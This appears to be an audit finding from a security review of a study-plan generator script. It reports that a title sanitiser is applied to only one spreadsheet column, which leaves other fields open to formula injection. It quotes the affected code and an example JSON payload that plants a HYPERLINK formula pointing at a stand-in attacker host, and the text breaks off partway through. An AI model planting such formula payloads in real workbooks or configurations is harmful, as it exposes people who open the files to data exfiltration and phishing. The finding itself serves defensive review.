T09 · Insecure Skill Coding Practices
- Location
scripts/generate_study_plan.py:467- Finding
Spreadsheet Formula Injection Through Configurable Study-Plan Fields
- Content
View full analysis
= 4 else ALIGN_C if borders: cell.border = BORDER ws.row_dimensions[row].height = height ``` ```python vals = [ f'第{day_idx}天' if ti == 0 else '', hours, sanitize_title(title), str(g[0])[:500] if len(g) > 0 else '', str(g[1])[:500] if len(g) > 1 else '', str(g[2])[:500] if len(g) > 2 else '', '', '', homework, lm_method, lm_materials, ] write_row(ws, row, vals); row += 1 ``` ### Technical Analysis The application defines `sanitize_title()` to neutralize strings beginning with spreadsheet formula prefixes such as `=`, `+`, `-`, and `@`. However, `write_row()` applies that sanitizer only when `ci == 4`, which is the study-chapter/video-title column. Other externally configurable strings are written directly into workbook cells, including: - Learning goal - Verification method - Learning content - Homework - Learning method - Learning materials OpenPyXL treats strings beginning with `=` as formulas. Consequently, an attacker-controlled configuration value such as: ```json { "homework": "=HYPERLINK(\"https://attacker.example/collect\",\"Op ...[truncated 2034 chars]- Remediation
View remediation
